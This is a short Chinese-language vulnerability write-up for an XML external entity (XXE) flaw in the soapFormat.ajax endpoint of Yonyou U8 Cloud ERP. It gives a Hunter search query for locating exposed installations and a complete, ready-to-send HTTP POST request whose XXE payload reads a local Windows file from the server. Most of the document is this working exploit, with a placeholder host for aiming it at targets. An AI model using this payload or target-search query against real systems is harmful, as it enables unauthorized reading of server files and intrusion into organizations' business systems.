用友U8 Cloud soapFormat 存在xxe漏洞
一、漏洞简介
用友U8 Cloud是用友公司推出的企业上云数字化平台，为成长型和创新型企业提供全面的云ERP解决方案。用友U8 Cloud soapFormat 存在xxe漏洞
二、影响版本
- 用友U8 Cloud
三、资产测绘
- hunter
app.name="用友 U8 Cloud"
- 登录页面
四、漏洞复现
POST /uapws/soapFormat.ajax HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Host: {hostname}
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 259
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a